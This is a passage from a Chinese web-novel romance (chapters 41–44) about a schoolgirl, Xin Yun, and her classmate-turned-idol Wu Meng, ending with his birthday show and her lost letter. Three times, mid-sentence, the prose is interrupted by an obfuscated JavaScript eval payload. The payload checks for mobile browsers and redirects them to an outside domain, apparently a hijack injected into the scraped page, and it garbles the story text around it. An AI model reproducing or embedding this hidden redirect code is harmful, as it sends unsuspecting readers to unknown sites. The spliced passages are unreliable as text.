说到这里,辛蕴的声音突然被生生截断了,像是猛然想起来什么事情,她站起来就朝屋外走。 “你先自己一个人在这里休息一下,我现在有点事情,待会儿过来找你!”丢下一句话,辛蕴头也不回地跑出了医务室,飞快地朝教学楼的方向奔去。 天呐,她竟然把潘青昀的相机和衣服落在教室里了! 刚才她神情恍惚、紧张过度,离开的时候竟然压根没想起来这事! 辛蕴后背惊得爬上一层冷汗。 潘青昀是个富二代,他的东西肯定都不便宜,要是今天她把衣服和相机弄丢了,估计要赔一大笔钱。 辛蕴气喘吁吁地跑到了三班教室门口。 从玻璃窗看进去,教室里空无一人,刚才做采访的工作人员和老师同学们都已经离开了。 因为操场那边在举办运动会,整幢教学楼看不见一个人影,周围安静极了,连风吹动树叶的声音也能听见。 辛蕴的心提到了嗓子眼,她伸手推开门,直接奔向了刚才她放外套和相机的那张课桌。 可是那张课桌上空空荡荡,什么也没有。 她心里一凉,一颗心坠入谷底。 竟然真的没有了! 难道东西真的被人拿走了吗? 辛蕴愣愣地站在那里,心慌到极点,脑子也懵懵的,一时间完全不知道该怎么办。 “回来找东西?” 安静空旷的教室里突然响起一个声音。 辛蕴吓了一跳,转头去看。 教室最后一排的课桌边上靠着一个人。 后排的窗户关着,半明半暗的光落在他身上,他身上穿着蓝白色的校服,看起来几乎和周围的背景融为了一体。 邬蒙? 他怎么还在这里? 辛蕴听到了自己震耳欲聋的心跳声,来不及表达自己的疑问,她的目光瞥到了邬蒙手边的相机和衣服,一双因为惊讶而怔愣的眼睛顿时放大了。 她顿时松了一口气,急忙小跑过去,欢喜道:“还好没丢!” 风从另一边打开的窗户吹了进来,窗外那棵广玉兰树的叶子在阳光下闪闪发亮,清新的绿色映衬着澄澈的蓝天,教学楼楼顶铺着朱红色的砖瓦,这一切组成一副色彩鲜明又艳丽的画卷。 邬蒙低头注视着女孩因为欢喜微微弯起来的眉眼。 “东西找到了,这么开心?”他问。 辛蕴用力点点头,她拿起课桌上的相机检查了一下,见东西完好无损,心里的那颗石头彻底落了地,说:“当然紧张了,要是弄丢了我可赔不起。” 虽然辛东福不管是在给吴咏梅家用还是给辛蕴零花钱的方面出手都还算大方,但是辛蕴就是不想再主动伸手问他要钱了。 吃人嘴短,拿人手软。辛蕴没有办法无视辛东福对于婚姻的不忠,但她目前又没有办法逃离这个家庭,只能用自己的方法做着最微小的“反抗”。 听到这个回答,邬蒙抱起双臂,微微挑眉看着辛蕴,漫不经心道:“是吗?”但看着辛蕴头也不抬检查那个相机的专注模样,他心里又腾起一股说不上来的滋味。 “这是谁的东西?”他的语调和声音都变了味道。 辛蕴确认完衣服和相机都没问题,这才抽空抬头看向邬蒙。“这是我同桌潘青昀……”话还没说完,她突然意识到他们俩的距离好像有些近了,也意识到邬蒙刚才问这句话的语气有些奇怪。 确实有些奇怪。 不只是语气奇怪,就连他现在看向她的眼神也有些奇怪。 邬蒙瞳孔的颜色很深,眉骨又很高,眉眼轮廓很深邃,一旦他压低眉眼去看人,总会给别人一种很强的压迫感,更何况现在那双眼睛里的情绪有些让人捉摸不透的复杂,仿佛在努力压抑着什么,又好像在酝酿着什么。 辛蕴的心跳顿时乱了节奏,在邬蒙的注视下,她竟然生出了一种自己做了错事的错觉。 虽然她刚才差点弄丢了东西,但该生气的人也不应该是他啊。 辛蕴又慌乱又紧张,身体不自觉地想要后退一步。 就在她后退的那一秒。 邬蒙突然放开了抱在胸前的手,他伸手一把拉住辛蕴的手腕,将她的身体拉回到了他面前。 手腕上传来的灼热温度和那不容抗拒的强硬力道让辛蕴愣在了那里,她抬起头呆呆地看着面前的少年,有些不知所措。 邬蒙的表情里也有一丝错愕划过,似乎也不理解自己这突然的动作。他像是被烫到了似的,立刻放开了辛蕴的手。 半明半暗的光影里,两人沉默地对视着。 这种沉默蕴含着某种压抑又汹涌的情绪,辛蕴心惊肉跳,她不敢相信刚才发生了什么,疑心自己是不是在做梦。 气氛尴尬又暧昧。 最后还是辛蕴开口打破了这种沉默:“刚才黄丽君脚崴了,我送她去医务室,她的脚肿了好大一个包,医生帮她用冰袋冷敷,我突然想起来相机和衣服落在了教室,所以就过来拿……” 她的脑子一片空白,完全不知道自己在说什么,说到后来,她的声音越来越小。 邬蒙的表情已经恢复了平静,淡定到好像刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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辛蕴小心翼翼地往后退了一步,走到旁边的一张课桌边,靠在课桌边沿,转头看着邬蒙的侧脸。 他的目光眺望着窗外的蓝天,侧脸那流畅起伏的线条像是漫画家精心勾勒出来的得意之作。 风吹过少年的发丝和女孩凌乱的思绪。 教室的铃声突然响了起来。 在不用上课的日子里听到铃声,反而让人觉得舒畅。 “今晚节目就要播出最后一期了。”邬蒙突然开口说。 辛蕴的心一紧,微微垂首,说:“我知道。”不仅如此,她还提前通过那个微博粉丝群知道了今晚最后的比赛结果。 “明天我就要出发去帝都了。” 辛蕴一愣,再次转头看向他。 邬蒙的视线落在她的脸上,说:“我们乐队要正式出道了,过几天会在帝都那边举办一个小型的粉丝见面会。” 辛蕴的脸上挤出一个恰到好处的笑容,说:“是嘛,那是好事。” 邬蒙收回目光,看着脚下的地砖,没有再说话。 辛蕴本来想再说些什么,可是又觉得心口像是堵着一团棉花似的,堵得她难以开口。 铃声响过第二遍。 教室里很安静,墙上的时钟一分一秒跳过,远处操场上传来的呐喊和助威声隐隐约约地传了过来。 就在辛蕴以为两个人都不会再开口说话的时候。 这一回是邬蒙主动开口打破了沉默。 “我会给你发消息的。”他说。 辛蕴一愣,转头看过去。 邬蒙正看着她,那双刚才还压迫感十足的眼睛变得澄澈柔和。 他的脸上没有什么表情,像是在告知她一件什么庄重又严肃的大事。 42. 第 42 章 回医务室的路上,辛蕴有些神情恍惚,简直如坠梦中。 刚才邬蒙那话是什么意思? 还有,他竟然会主动拉她的胳膊?这又是什么意思? 辛蕴的心抑制不住地雀跃起来,可又不敢真的往那方面去想—— 邬蒙难道对她也有好感? 脑子里一冒出这个想法,辛蕴立刻猛地摇摇头,生怕自己沉浸在这一场过于美好的梦境中,醒来后又要承受梦境幻灭的痛苦。 她怀着如此甜蜜又煎熬的心情回到了医务室。 黄丽君那边已经没什么大碍了,只是依旧行动不便。医生给了她一根拐杖,让她暂时借助拐杖行动。 “你刚才干什么去了?”黄丽君好奇地问。 “东西不小心落在教室里,我回去拿。”辛蕴避重就轻地答。 瞥到她手里拿着的那件外套和相机,黄丽君挑挑眉,语气上扬:“哟,这不是潘青昀的东西嘛。”她凑过来,冲辛蕴眨眼睛,说:“怎么在你这儿?” 辛蕴白她一眼。 黄丽君贼兮兮地笑。 辛蕴没理会,她搀扶着黄丽君重新回到操场的观众席上。 现在赛场上正在进行男子跨栏的项目,赛况很焦灼,观众席上时不时传来激烈的呐喊声。 潘青昀已经比完赛了,正满头大汗地坐在不远处的位置上喝水,看见两人朝这边走过来,他冲辛蕴招招手,开玩笑说:“刚才我找了你一圈,还以为你拿着我的相机和衣服跑路了呢!” “刚才我陪黄丽君去医务室了,怕东西放在这里不安全所以就带走了,不好意思。”辛蕴有些歉意地冲潘青昀笑笑,她走过去将手里的衣服和相机递给他,正要转身回到黄丽君旁边。 “辛蕴!”潘青昀突然喊了她一声。 辛蕴回头去看。 “咔嚓”一声。潘青昀举着相机按动了快门。 辛蕴下意识用手挡住脸。 潘青昀低头看着相机屏幕,脸上的笑容看起来坏坏的,说:“拍到了,美人回眸,不错不错。” 他的话带着几分轻佻,但又没有到让人反感的程度。辛蕴有些不好意思,不知道该怎么开口回应。 “偷拍别人!你有没有公德心?你这个猥琐的痴汉!”一旁的黄丽君看见了,举起拐杖作势要打潘青昀。 潘青昀身手敏捷,飞快地闪开了。 黄丽君行动不便,当然追不上他,只能继续骂道:“有本事偷拍,没本事跟我1v1是吧?!快过来,让我试试我的新拐杖质量好不好!” 潘青蕴双手叉腰冲她挤眉弄眼:“让你平时多积点口德,现在遭报应变成瘸子了吧!来来来,让我给你拍个照纪念一下!”说完,他举起相机又对着黄丽君连拍了几张。 黄丽君捂着脸不让他拍。 两人打打闹闹,辛蕴的那种尴尬感倒是减轻了不少,她低头去看自己的手机屏幕。 邬蒙在两分钟前发来了一条消息—— 【对了,谢谢你的Q.Q糖。】 此时台下的那场比赛刚好结束,观众台上爆发出了一阵猛烈的狂欢声。 不知道是哪个班级夺得了最后的桂冠,周围的同学都从座位上站了起来,一边鼓掌一边尖叫着。 头顶的广播上传来一阵昂扬的乐曲声。 辛蕴把手机贴近心口,仰头看着远处湛蓝的天空,感受着周围那热烈涌动的浪潮慢慢将她包裹。 她怀着小小的、谨慎的欢喜,慢慢地、满足地叹了一口气。 - 为期两天的运动会很快就结束了。 邬蒙如他所说的那样再次消失在了一中的校园里。 但他并没有消失在辛蕴的生活里。 白天她在校园里总是能听到班上的同学讨论他,互联网上也经常能看见“邬蒙”这个名字被反复提及。 “放学后作战”乐队正式出道了,出道那天的粉丝见面会一票难求,甚至还出现了粉丝和黄牛现场打架闹到警局的社会事件。虽然这件事的影响不算好,还闹上了热搜,互联网上的骂声很多,但也算间接地为这支初出茅庐的乐队打响了一些知名度。 出道不到一个月,“放学后作战”乐队正式发行了他们的第一张专辑。粉丝们积极地为他们打榜投票,专辑的主打歌《青葱》一度霸占各大音乐app的榜首,一时间所有的媒体都在关注这支势头正猛的新乐队。 这些日子里,辛蕴时不时会收到邬蒙发过来的消息。 他会给她分享赶通告路上遇到的绝美夕阳,会给她发他排得满满的日程表,也会摆出一副生无可恋的模样对着镜子拍下自己的妆容和发型,再附上一句吐槽“化了两个小时,脖子都断了”。 辛蕴每次都会认真地给予回复。 虽然他们相隔两地,每次聊天也不过寥寥几句,但两人的关系却好像比以前肩挨着肩做同桌的时候更亲近了。 有时候辛蕴甚至会生出一种错觉—— 她和邬蒙之间,只差一层窗户纸没有捅破了。 辛蕴也不知道自己是哪里来的这种自信。或许这只是邬蒙对好朋友的分享欲罢了? 一旦她的脑子里开始冒出这种不切实际的想法,辛蕴就会强迫自己的大脑立刻关机不要再去想。但每次看到邬蒙发来的消息,她又控制不住自己那颗雀跃又躁动的心。 这些日子里,辛蕴依旧潜伏在邬蒙的粉丝群里,无时无刻地不在关注他各种大大小小的消息。 现在邬蒙的微博粉丝数已经突破五百万了,超话粉丝数也早已经突破百万,每次发微博的评论和点赞数据都很惊人。 辛蕴所处的这个粉丝群成员数量也早已经到达上限,因为建群时间较早,里面有很多邬蒙的老粉和粉丝站子的创始人,所以群里经常有些小道消息和内幕消息。 但辛蕴之所以每天还会潜伏在这个群里,其实也并不是想去看那些“内幕”消息,她只是习惯性去关注邬蒙的动向和行踪。 毕竟有很多“内幕”消息邬蒙早就提前告诉过她了,谁能比邬蒙本人掌握更多的关于他的一手内幕呢? 自从邬蒙离开南城去帝都发展之后,小七很少再给辛蕴发消息。今天晚自习,她却久违地找上了辛蕴—— 【马上就是邬蒙的生日了,我听说他会回南城举办生日会!】 看到这条微信消息,辛蕴一愣。 邬蒙要过生日了,这她是知道的。 毕竟超话里的那些粉丝提前两个月就开始给邬蒙搞各种夸张的生日应援了。 但是生日会? 辛蕴怎么从来没有听邬蒙提起过? 【听说这次还是他的个人专场!!!没有其他人,只有他自己!!!】 【简直是唯粉狂欢!!!】 【啊啊啊啊啊啊我激动死了!!!这和个人演唱会有什么区别?!!!】 小七显然很兴奋,对话框里的消息一条条飞快地跳出来。 握着手机的那只手被震得微微发麻,辛蕴皱了皱眉,回道—— 【消息可靠不?我怎么从来没有听群里的人说过生日会的事情?】 小七回:【哈哈!我有亲戚在娱乐圈里工作,她今天亲耳听见邬蒙的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832063|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员说的,绝对保真!】 辛蕴下意识地滑动屏幕,看了一眼日期。 今天是十二月十五号。 邬蒙的生日是十二月三十号。 如果小七的消息可靠,邬蒙岂不是还有两个星期就要回南城了? 两个星期之后她就可以见到邬蒙了?! 辛蕴的心顿时狂跳起来,来不及平复心绪。 小七的消息再次从屏幕上方跳出来:【你有没有想好给他准备什么生日礼物?】 辛蕴一愣。 生日礼物? 她好像真的没有想起来要给邬蒙准备生日礼物。 毕竟在今天之前她并不知道邬蒙会在生日的时候回南城。 她只能老实地回小七:【没有耶~】 小七那边飞快发过来一句:【我给他准备了礼物,到时候他要是回学校了你可以帮我转交给他吗?】 后面跟了一个“可怜”的黄豆表情,又接了一个撒娇卖萌的表情包。 【拜托拜托~】 辛蕴有些犹豫,但看着那个“可怜”的表情,她有些不忍心拒绝,想了想,回道:【到时候看情况吧,如果他回学校,我可以帮你。】 转交生日礼物,这应该不算是“私联”吧? 毕竟之前辛蕴也看到过邬蒙机场收粉丝的信件,他的工作人员也会收粉丝准备的昂贵礼物。 看见辛蕴点头,小七那边立马发过来一连串欢天喜地的表情。 【太好啦!你真好!谢谢你!!!我简直爱死你了!!!】 - 那天晚上放学回到家,辛蕴对着手机发了很久的呆。 犹豫再三,她给邬蒙发过去一条消息—— 【你在干嘛呀?】 现在是晚上十二点,按照邬蒙的作息,他应该还没睡觉。 果然,那边很快回了消息。 【在自拍呢~】 辛蕴愣了一下,想象着对方拿着手机从不同角度自拍的模样,她的嘴角微微扬起,正要回复。 对话框里很快又跳出来两张照片。 【你帮我挑挑看,哪一张比较好看】 【桃姐非要让我自拍发微博,真是服了,每次自拍都觉得好尴尬(耸肩)】 隔着屏幕辛蕴都感觉到了邬蒙的怨念,她眉眼弯弯地点开了那两张照片。 照片上的邬蒙坐在沙发上,背景应该是酒店的套房,他的脸上干干净净,没有任何妆容,露出来的上半身只穿着一件简简单单的黑色T恤,看起来应该是结束了一天的行程回到酒店刚洗漱完。 一股青春的男高气息扑面而来。 辛蕴的手指在那两张相似的照片之间来回滑动,最后选定了一张面部表情更加自然生动的照片。 邬蒙那边回了一个“ok”的手势,然后就没有再说话了。 过了两分钟。 辛蕴刷新微博,看到邬蒙发了一条最新微博。 【好累,睡觉!】 配图是刚才她挑选的那张照片。 微博发布不到两分钟,底下的评论已经瞬间破万了。 【啊啊啊啊啊哥哥好帅!!!】 【宝宝怎么还没睡!早点休息!!!】 【辛苦了哥哥!!!爱你!!!】 【生日月福利好多!!!!提前祝你十七岁生日快乐啊宝!!!】 辛蕴看着邬蒙的那条微博,感觉自己的心像是一团慢慢融化的棉花糖。 她放下手机,抬头看着天花板。 是了,她也应该给他准备一份生日礼物才对。 43. 第 43 章 邬蒙要回南城市开生日会的消息很快就在大大小小的粉丝群里传开了。 虽然官方消息还没出来,但是粉丝们很快就把网传的生日会举办场所——南城市音乐厅附近的当天酒店全都订完了。 粉丝站子也开始大面积地在南城市的公交站台、地铁站和一些商场的大屏幕上投放邬蒙的生日应援。 每天上学和放学的路上,辛蕴总能在各种公共载具上看到邬蒙的脸。 清晨的街道上、深夜的无人站台、又或是人潮涌动的广场上,邬蒙的脸在LED屏幕里发着光,像是高悬在天上的启明星。隆冬已经到来,但对于辛蕴来说,邬蒙的存在却仿佛给这座南方城市平白多添了一分浪漫炙热的气息。 “放学后作战”乐队的官方微博也在一周后发出公告,正式宣布了这次邬蒙要举办生日会的消息,并且通知粉丝这次生日会的门票会在乐队所属经纪公司的官网上进行发售,因为是小型生日见面会,所以限量300张门票。 公告出来的那一天,超话里吵翻了天。 【不是吧,才300张?那么大的厅为什么才开300张票?】 【300张……我肯定抢不到了……哭!!!】 【经纪公司不做人!!才300张门票!打发叫花子呢!!!】 【以阿蒙现在的人气开30000张都能立刻卖完!不知道经纪公司的那些人脑子里是不是灌了水!有钱不赚,真是王八蛋!!!】 …… 然而不管粉丝如何哀嚎,生日会门票在第二天下午三点准时开卖。 辛蕴当时正在上课,生平第一次,她在上课时间偷偷拿出了自己的手机。 时间从14:59:59跳到15:00:00的那一瞬间,辛蕴屏住呼吸盯着手机屏幕,想也不想地点进去购票界面。 但屏幕转了半天,足足转了好几分钟,最后竟然被卡了出来。 等辛蕴再次点进去,票早已经抢空了。 这个结果在辛蕴意料之中,她虽然失落,却也没有太难过。 毕竟她从来没有抢票的经验,在超话现学现卖的那些抢票小技巧,哪比得上别人特地守在电脑前面用抢票软件或者直接找黄牛买高价票厉害? 虽然她已经做好了心理预期,但真的意识到自己没有抢到票去不了邬蒙的生日会,辛蕴还是免不了有些失落。 课间十分钟,她拿出手机点开微博。 邬蒙的超话里乱成了一锅粥——有人和她一样没抢到票,在哭天喊地到处加价收票。也有手速快的抢到了票,开始美滋滋地发帖找人拼酒店。还有大粉和站子从容地发帖招募散粉在生日会当天组织应援和派发周边。 随着邬蒙的生日越来越近,这座安静的南方城市仿佛从隆冬中苏醒了过来,重新焕发了春天的生机和活力。 大街上一夜之间多了很多年轻女孩的面庞,她们头上绑着紫色的丝带,手里拿着各种印着邬蒙脸的应援物,满脸笑容地派发给往来的路人。 网络上关于“放学后作战”这个乐队以及邬蒙本人的各种讨论从来没有停止过。 但不管外界如何躁动,这段时间邬蒙本人却一直没有任何消息。 据粉丝群里的小道消息,他应该早在前几天就已经回到了南城。 但是辛蕴却没有感受到任何迹象。 邬蒙没有回一中,也没有给她发消息,甚至她主动发过去的消息他也没有回。 辛蕴猜测他现在应该是在闭关为这次的生日会做准备。 她给他准备了生日礼物——一封信和一条她亲手编的手链。 辛蕴把信和手链都带在身边,想要等邬蒙抽空回一中的时候亲手交给他。 可邬蒙一直没有出现。 就在辛蕴以为这次可能没有机会送出这份生日礼物的时候,生日会前夕,她突然收到了邬蒙的消息。 【明天有空来参加我的生日会吗?】 他的消息言简意赅,十分直接。 辛蕴当时正在做一道解析几何题,看到手机屏幕里跳出来的这条消息,她的心脏顿时漏跳了一拍。 反应过来后,她几乎是迫不及待地回道:【可是我没有抢到票。】 辛蕴打字的手几乎有些颤抖。 邬蒙那边回得很快:【哈哈,你直接过来就行,不用票。】 辛蕴一愣,脑子这才转过来—— 是啊,邬蒙本人亲自邀请她过去,还要什么门票? 一瞬间,她又是尴尬又是激动,一颗心跳得飞快,仿佛整个人都被扔进了一团软绵绵的云彩里。 【就这样说好咯,明天你从D口进来,到了之后说一声,我安排人去接你进场。】 邬蒙那边似乎在忙,很快就结束了对话。 辛蕴抱着手机,愣愣地看着面前那道数学题,只觉得白纸上的那些复杂的字符像是经文一样飞到了半空中,她被那些无意义的字符包裹着,晕晕乎乎,如坠梦中。 她要去看邬蒙的生日会了! 还是邬蒙亲自邀请的!!! 这天下还有比这更美好更梦幻的事情吗?! - 十二月三十号这天是周三,邬蒙的生日会在晚上六点半开始。 辛蕴从下午开始就有些坐立不安,最后一节课的铃声刚敲响,她背上书包就跑出了学校大门。 正值晚高峰,街上车流如潮,辛蕴打了一辆车,有些焦急地打开地图估算着时间和距离。 现在是下午五点四十分,学校离场馆大概有三十分钟的车程,但现在正在堵车,等她赶过去估计生日会刚好开场。 辛蕴又拿出手机给史振邦发了一条消息,说她今天有些不舒服,晚上上不了晚自习了。 史振邦对辛蕴十分信任,不仅没有丝毫怀疑,还很关切地问她怎么了。 辛蕴随口扯了一句肚子疼。 史振邦也没有多问,只是嘱咐她好好休息。 辛蕴有些惭愧地关掉微信界面,点开微博,邬蒙超话里的气氛像是一壶快要烧开的开水,所有人都在焦急又紧张地等着这场生日会开始。 被那种躁动的气氛感染,辛蕴觉得自己的呼吸也变得急促起来。 周围的鸣笛声不绝于耳。 她转头看向车窗外。 冬季天黑得早,街边的路灯早已亮了起来,城市的霓虹灯海在狭长的主干道附近一字排开,光影朦胧的公交站台上,广告牌里,邬蒙的脸飞闪而过。 晚上六点二十分。 辛蕴背着书包急匆匆地赶到了场馆外。 比起人潮涌动的其他入口,D口这边没什么人影,入口前面拉起了两道警戒线,旁边还竖着一块牌子——【工作人员通道,闲人免进。】 两个小山一般壮硕的保镖守在入口两边,见辛蕴靠近,两人顿时抬起头警惕地望着她。 辛蕴的脚步因为这两道十分具有威慑力的眼神变得有些迟疑,她正要拿出手机给邬蒙发消息。 “是辛蕴辛同学吗?” 辛蕴抬头去看,就见一个脖子上挂着工作牌的矮个子男人正站在门口朝这边张望。 “我是。”辛蕴用力地点点头,目光落在男人胸前的那块工作牌上—— 【邬蒙团队助理:小阳。】 “跟我来吧。”小阳飞快地打量了一眼辛蕴,脚步匆匆地朝里面走去。 “好的。”辛蕴攥紧手里的书包带子,没忍住看了一眼守在旁边的两名保镖。两名保镖的目光在她脸上划过,随后转开了脸,没有要阻拦的意思。 辛蕴这才放心地走进入口,抬脚跟了上去。 那名叫“小阳”的工作人员带着她在狭长的过道里拐了好几个弯。 辛蕴的心跳若擂鼓,后背渗出一层热汗。 她听到了前面传来了一阵空旷又遥远的噪音,像是很多人在聊天,又像是有人在扯着嗓子呐喊,应该是观众席那边传来的声音。 越往前走,这噪音越来越混杂。 最后,这些声音渐渐汇聚成了一声声整齐的“邬蒙!邬蒙!邬蒙!” 就在这山呼海啸一般的声浪中,小阳掀开了帘子。 辛蕴茫然的目光猝不及防地对上了邬蒙的脸。 他坐在一面发光的镜子前,正透过镜子看着她的方向。 两人的目光在镜中相撞。 他面前的镜子将周围的一切照得纤毫毕现,邬蒙的五官无比清晰地印在上面,一张脸连同发丝看起来都在发光。 辛蕴愣在了那里。 她以为这个小阳会带她去什么VIP包厢或者前排的观众席,但她没想到对方竟然会直接带她来见邬蒙。 “你来了?”邬蒙从椅子上站了起来,朝她走过来,脸上带着笑,问:“路上是不是堵车?” 他脸上画着精致的舞台妆,身上穿着闪闪发亮的表演服,看起来俊美得几乎有些不真实,整个人从头到脚都散发着明星的耀眼光芒。 辛蕴被那种光芒所震撼,愣了足足好几秒,这才回过神,点点头,声音绷得很紧,说:“嗯,路上堵了好久。” 邬蒙的目光落在她的脸上,道:“本来想和你说几句话的,但是现在没时间了。”他看了一眼手腕上那个闪闪发光的钻表, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832064|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“我马上要出场了,你在这里等我,旁边有位置,能看得见舞台。” 说完,邬蒙在几个工作人员的簇拥下脚步匆匆地走出了休息室。 周围的人都像是拧了发条的机器人,脚下生风,各司其职地忙碌着。 辛蕴站在原地,像个误入其中的外来者,有些不知所措。 “你坐在这里看吧,很安静也没有人打扰。”小阳给辛蕴端了把椅子过来,又十分体贴地帮她找了一个可以看见舞台的视角。 “谢谢你。”辛蕴坐在那里,目光看向了舞台方向。 过了大概两分钟左右。 舞台上的灯光熄灭了。 全场陷入了一片黑暗中,观众席也安静了下来。 突然,头顶上方响起了邬蒙好听的嗓音—— “大家好,欢迎你们来参加我的十七岁生日会。” 全场瞬间爆发出了一阵撕心裂肺的尖叫声。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!” 在这连绵不绝的尖叫声中,舞台上亮起了一束聚光灯,伴随着一阵十分具有节奏感的鼓点声,邬蒙的身影从升降台上缓缓升起。 他今天的发丝挑染了几缕浅紫色,眼妆也是有些夸张的深紫色烟熏妆,上半身穿着一件缀满银色流苏的阔版西服,胸前的扣子微微敞开,两块胸肌之间的那条线若隐若现,整个人看起来一改往日清爽干净的男高形象,多了几分摇滚男孩的野性和性.感。 观众席上的尖叫声顿时又拔高了好几个度,音乐厅的屋顶几乎都要被这骇人的音浪掀翻。 整场生日会一共持续两个半小时,邬蒙不仅演唱了十余首歌曲,中间甚至还十分突破性地表演了一段舞蹈。 辛蕴坐在那里,眼睛一瞬不瞬地盯着舞台上那个最耀眼的少年。 直到邬蒙对着全场观众鞠躬致谢,直到散场音乐响起,她还是久久回不过来神。 “你怎么还坐在这里?” 辛蕴抬头看过去。 邬蒙大步朝这边走了过来,笑意盈盈地望着她。 不知道是因为场内的暖气开得很足,还是刚才他在舞台上的卖力演出,邬蒙的额头上布满了细碎的汗珠,汗水折射着头顶的灯光,和他的发丝一样闪闪发亮。 辛蕴站了起来,抱紧了手里的书包,心脏跳得飞快。 “这是给你的。”她抬头望向他,把手里的礼物盒子递了过去,说完,又飞快补充了一句:“这是你的一个粉丝拜托我给你的。” 邬蒙的目光落在辛蕴微微泛红的脸上,挑了挑眉,伸手接过那个盒子,道:“哦?别人拜托你给我的?” 他看了一眼手里的东西,目光重新看向辛蕴的脸,问:“你呢,你没有东西要给我吗?”他的尾音微微上扬,似乎是在开玩笑。 辛蕴的心几乎就要跳出嗓子眼,她目光闪烁,躲开了他的视线。 舞台上的巨大红色幕布一直从天花板垂到地面上,灯光的照耀下,空气中隐隐有浮尘涌动。 面前那少年灼热的视线让她喘不过来气。 算了,死就死吧。 辛蕴被激发出了一种类似于破罐子破摔的勇气,她一把拉开书包拉链,从里面拿出自己准备的那个礼物袋子,直接塞到了邬蒙手里。 “生日快乐。”她的动作干净利落,声音却没有什么底气。 邬蒙愣了一下,似乎没有想到辛蕴真的给他准备了礼物。 他眉眼弯弯地接过那个礼物袋,语气里带着十足的愉悦,垂眸问她:“谢谢你,我可以现在就打开看看吗?” 辛蕴几乎想要立刻逃走,但她克制住了。 “嗯。”辛蕴紧紧地抱着胸前的那个书包,缓慢而坚定地点点头。 邬蒙打开礼物袋,从里面拿出了一个包装更为精致的小盒子,打开盒子,黑色的天鹅绒上躺着一条手工编织的手链。 “哇,好漂亮的手链!”他赞美道。 辛蕴脸颊发烫,鼓足勇气抬头,目光落在邬蒙手里的那个小盒上。 随即一愣。 她伸手去拿邬蒙手里的那个礼物袋,低头去看,袋子里空荡荡的,再也没有其他东西。 辛蕴顿时变了脸色,立刻低头去翻书包。 怎么只有一根手链,她的信呢?!她明明用一根粉色丝带将那封信绑在了装手链的盒子上,现在信怎么不见了?! 邬蒙正对着灯光仔细打量着那根手链,瞥见辛蕴的动作,他疑惑地看着她,问:“怎么了?” 辛蕴抬头看他,脸上的笑容有些僵硬。 “没……没事。”她说。 44. 第 44 章 邬蒙的行程安排得很忙,生日会一结束,他几乎没有任何停留,直接飞往了帝都。 两人短暂地见了一面,又匆匆分别。 临走前,邬蒙盯着辛蕴的双眼,有些欲言又止的样子。灯光下,他的眼睛比他衣服上的那些水钻还要闪亮。 辛蕴的双眼被那璀璨的光芒晃得有些心慌。 一整个晚上,她就像踩在棉花上一样不真实。 从场馆里走出来,从生日会的盛大和梦幻中抽离,辛蕴整个人就像被掏空了似的,变成了一个轻飘飘的空心人。 一种无端的失落和巨大的空虚淹没了她。 从邬蒙离开的那一刻,整座南城市仿佛一瞬间又重新坠入了湿冷的冬夜里。 辛蕴穿行在一片紫色的人海中,恍恍惚惚地回到了家。 回到家,她立刻把自己的房间翻了一个底朝天,但她没有找到那封信。 辛蕴甚至还拐弯抹角地去问吴咏梅有没有在她换下来的衣服看到什么特别的东西。 吴咏梅打着哈欠说没看见。 辛蕴松了一口气。 也是,要是吴咏梅发现了那封信,肯定不是现在这幅淡定模样。 可同时辛蕴又有些犯愁。 不在家里,难道信丢在学校里了? 其实相比起来落在家里还好一点,无非是她自己挨骂罢了,但要是丢在学校里被什么人捡到了那才是大事不妙。 按照邬蒙现在这个名气,要是和同校的女学生闹出什么绯闻,他的那些粉丝肯定会闹翻天。而且现在邬蒙在娱乐圈的形象是非常正能量的,平时除了参加一些商业活动之外,他还经常以高中生代表的身份参加一些公益活动和有官方性质的活动。这种情况下,恋爱绯闻对于邬蒙来说无疑是一个巨大的黑点。 想到这里,辛蕴的一颗心又变得焦躁起来。 她只能安慰自己—— 那封信上也没写什么过分的内容,无非就是一些仰慕、赞美和鼓励的话罢了,和平时邬蒙的那些粉丝写给他的信也没什么两样。 可辛蕴也明白这不过是她自欺欺人的想法,虽然她没有明说什么,但明眼人一看信上的那些话就能察觉出两人的暧昧,再加上两人同学的这层身份关系,那封信一旦被曝光出来对于邬蒙的粉圈来说就是惊天巨雷。 辛蕴躺在床上翻来覆去,一晚上都没有睡好。 第二天早上,天刚蒙蒙亮,她连早餐都顾不上吃,直接去了学校。 推开门,教室里竟然亮着灯。 正中央的位置上坐着一个人,正在埋头看书,听到声音,他抬头看过来。 竟然是潘青昀。 见到辛蕴,他显然也有些意外,笑着问:“你怎么来这么早?” 辛蕴当然不能实话实说,她低头整理好脸上的表情,随便扯了一个理由:“今天早上醒得早,想早点过来。” 她背着书包走到座位,坐了下来,把肩上的书包卸下来抱在腿上,微微低头侧身,伸手在空荡荡的抽屉肚子里摸了半天。 潘青昀扭头看她,问:“你在找什么?” 辛蕴僵着身子,继续胡说八道:“一个笔记本,昨晚回家没看见,应该是忘在抽屉里了。” 潘青昀很热心,探头过来,说:“我来帮你找。” 辛蕴当然不能让他帮忙,直起上半身,连连摆手,说:“不用不用……” 